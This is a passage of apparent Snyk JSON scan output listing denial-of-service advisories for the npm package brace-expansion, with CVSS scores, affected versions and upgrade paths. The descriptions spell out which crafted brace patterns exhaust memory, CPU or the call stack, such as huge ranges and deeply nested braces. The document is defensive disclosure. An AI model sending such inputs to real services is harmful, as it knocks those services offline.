"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": 